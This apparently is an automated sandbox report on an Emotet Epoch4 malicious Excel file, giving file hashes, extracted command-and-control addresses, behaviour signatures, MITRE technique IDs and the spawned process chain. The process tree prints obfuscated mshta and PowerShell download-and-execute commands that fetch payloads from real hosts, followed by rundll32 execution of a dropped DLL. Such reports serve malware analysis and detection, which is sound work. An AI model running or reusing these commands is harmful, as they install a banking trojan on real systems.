emotet | a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72

General

Target

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls
Size

142KB
MD5

93de92f3e2868b196ea53446264d69e9
SHA1

5a222d7fc81852ec5fb1ca0abca5fb7810e97299
SHA256

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72
SHA512

e0e3a2ca736ff74a5d756867a8c0418415a0f74fbb134ff09da468fe20a11c105ad9a230b8b05b9b3b45967f5afaedf1243f1f451c078bdc96d04adca7cc994e

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4892	3500	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

23 972 mshta.exe
35 4276 powershell.exe
39 4276 powershell.exe
48 2876 rundll32.exe
50 2876 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2968 rundll32.exe
1904 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Utgigcafuvtbl\ifoulwrkfb.psz rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4268 972 WerFault.exe mshta.exe

flow	pid	process
23	972	mshta.exe
35	4276	powershell.exe
39	4276	powershell.exe
48	2876	rundll32.exe
50	2876	rundll32.exe

pid	process
2968	rundll32.exe
1904	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Utgigcafuvtbl\ifoulwrkfb.psz	rundll32.exe

pid	pid_target	process	target process
4268	972	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3500 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
4276	powershell.exe
4276	powershell.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4276	powershell.exe
2876	rundll32.exe
2876	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 4276 powershell.exe
Token: SeDebugPrivilege 4268 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4268	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3500 wrote to memory of 2992	3500	EXCEL.EXE	splwow64.exe
PID 3500 wrote to memory of 2992	3500	EXCEL.EXE	splwow64.exe
PID 3500 wrote to memory of 4892	3500	EXCEL.EXE	cmd.exe
PID 3500 wrote to memory of 4892	3500	EXCEL.EXE	cmd.exe
PID 4892 wrote to memory of 972	4892	cmd.exe	mshta.exe
PID 4892 wrote to memory of 972	4892	cmd.exe	mshta.exe
PID 972 wrote to memory of 4276	972	mshta.exe	powershell.exe
PID 972 wrote to memory of 4276	972	mshta.exe	powershell.exe
PID 4276 wrote to memory of 1728	4276	powershell.exe	cmd.exe
PID 4276 wrote to memory of 1728	4276	powershell.exe	cmd.exe
PID 1728 wrote to memory of 2968	1728	cmd.exe	rundll32.exe
PID 1728 wrote to memory of 2968	1728	cmd.exe	rundll32.exe
PID 1728 wrote to memory of 2968	1728	cmd.exe	rundll32.exe
PID 2968 wrote to memory of 1904	2968	rundll32.exe	rundll32.exe
PID 2968 wrote to memory of 1904	2968	rundll32.exe	rundll32.exe
PID 2968 wrote to memory of 1904	2968	rundll32.exe	rundll32.exe
PID 1904 wrote to memory of 2904	1904	rundll32.exe	rundll32.exe
PID 1904 wrote to memory of 2904	1904	rundll32.exe	rundll32.exe
PID 1904 wrote to memory of 2904	1904	rundll32.exe	rundll32.exe
PID 2904 wrote to memory of 2876	2904	rundll32.exe	rundll32.exe
PID 2904 wrote to memory of 2876	2904	rundll32.exe	rundll32.exe
PID 2904 wrote to memory of 2876	2904	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3500

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2992

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4892

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:972

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 972 -s 1648
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4276

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2968

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Utgigcafuvtbl\ifoulwrkfb.psz",NlEP
8⤵
- Suspicious use of WriteProcessMemory
PID:2904

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Utgigcafuvtbl\ifoulwrkfb.psz",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
25ea220fe13b6f43220c311f855b7abc

SHA1
526520b3271281252945a4983aba9765fa408f90

SHA256
b43b8daf67688d0a65db8bfab54b9fe27ca5af7dc371826f77686d1828bbfdaf

SHA512
0be37eba47f91456f10a362c99a01888448a114f7cc9b5718546490d3e7dee200208761882ac90052c2cc6d8e03af38145481d03c6eced75477e393e21d0cb95

Download Submit
\Users\Public\Documents\ssd.dll
MD5
25ea220fe13b6f43220c311f855b7abc

SHA1
526520b3271281252945a4983aba9765fa408f90

SHA256
b43b8daf67688d0a65db8bfab54b9fe27ca5af7dc371826f77686d1828bbfdaf

SHA512
0be37eba47f91456f10a362c99a01888448a114f7cc9b5718546490d3e7dee200208761882ac90052c2cc6d8e03af38145481d03c6eced75477e393e21d0cb95

Download Submit
\Users\Public\Documents\ssd.dll
MD5
25ea220fe13b6f43220c311f855b7abc

SHA1
526520b3271281252945a4983aba9765fa408f90

SHA256
b43b8daf67688d0a65db8bfab54b9fe27ca5af7dc371826f77686d1828bbfdaf

SHA512
0be37eba47f91456f10a362c99a01888448a114f7cc9b5718546490d3e7dee200208761882ac90052c2cc6d8e03af38145481d03c6eced75477e393e21d0cb95

Download Submit
memory/1904-350-0x0000000004D40000-0x0000000004D66000-memory.dmp

Filesize
152KB

Download
memory/1904-353-0x0000000004EA0000-0x0000000004EC6000-memory.dmp

Filesize
152KB

Download
memory/1904-348-0x0000000004CE0000-0x0000000004D06000-memory.dmp

Filesize
152KB

Download
memory/1904-346-0x0000000004B40000-0x0000000004B66000-memory.dmp

Filesize
152KB

Download
memory/1904-344-0x0000000004A40000-0x0000000004A66000-memory.dmp

Filesize
152KB

Download
memory/1904-341-0x0000000004440000-0x0000000004466000-memory.dmp

Filesize
152KB

Download
memory/2876-358-0x0000000005270000-0x0000000005296000-memory.dmp

Filesize
152KB

Download
memory/2876-355-0x0000000003490000-0x00000000034B6000-memory.dmp

Filesize
152KB

Download
memory/2904-352-0x00000000040C0000-0x00000000040E6000-memory.dmp

Filesize
152KB

Download
memory/2968-339-0x0000000004920000-0x0000000004946000-memory.dmp

Filesize
152KB

Download
memory/3500-116-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-129-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

Filesize
64KB

Download
memory/3500-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-119-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-396-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-117-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-395-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-394-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-115-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-393-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-128-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

Filesize
64KB

Download
memory/4276-323-0x000002474EFC0000-0x000002474EFC2000-memory.dmp

Filesize
8KB

Download
memory/4276-288-0x0000024736C50000-0x0000024736C72000-memory.dmp

Filesize
136KB

Download
memory/4276-307-0x000002474EF50000-0x000002474EF8C000-memory.dmp

Filesize
240KB

Download
memory/4276-318-0x000002474F580000-0x000002474F5F6000-memory.dmp

Filesize
472KB

Download
memory/4276-324-0x000002474EFC3000-0x000002474EFC5000-memory.dmp

Filesize
8KB

Download
memory/4276-325-0x000002474EFC6000-0x000002474EFC8000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads